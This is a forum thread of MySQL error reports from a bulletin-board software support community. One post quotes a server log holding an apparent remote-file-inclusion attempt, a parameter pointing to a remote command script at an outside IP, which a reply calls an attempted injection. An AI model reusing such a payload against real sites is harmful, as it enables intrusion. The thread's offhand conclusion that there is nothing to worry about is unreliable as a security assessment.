I get this error whenever I try to add an IP address to my "ban list" via my control panel...
Script: /home/yenko/public_html/ubbthreads/admin/doupdatebanlists.php<br />Line#: 69<br />SQL Error: Column count doesn't match value count at row 1<br />SQL Error #: 1136<br />Query: INSERT INTO w3t_Banned VALUES ('24.151.173.69')
I'm running 6.5...
Thanks, and I apologize for the cross posting...but after I thought about it, I figured this was the more appropriate forum. Joshpet got me sorted out!
Today I found this error in my log file:
Sat, Feb 12 2005 11:09:13 +0100<br />200.165.41.22 Unable to do_query: <br />SELECT B_Main,B_Board<br />FROM w3t_Posts<br />WHERE B_Number = http://67.18.54.212/~greg/cmd.txt?<br />- You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '://67.18.54.212/~greg/cmd.txt?' at line 3
What can this be ? (the IP/URL is unknown to me)
If you view the script, looks like they were attempting some sort of SQL injection, which failed and threw a MySQL error instead.
http://67.18.54.212/~greg/cmd.txt
Thanks Josh... so there's nothing to worry about I guess
Database error in vBulletin 3.0.7:
Invalid SQL:
SELECT faqname, text AS title
FROM faq AS faq
INNER JOIN phrase AS phrase ON (phrase.varname = faq.faqname AND phrase.phrasetypeid = 7000 AND phrase.languageid IN(-1, 0))
WHERE faqname = 'vb_referrals_explain'
mysql error: Illegal mix of collations (latin1_bin,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation '='
mysql error number: 1267
VB? This is a UBB.Threads developer forum?
You'll probably get better results asking at the VB forums.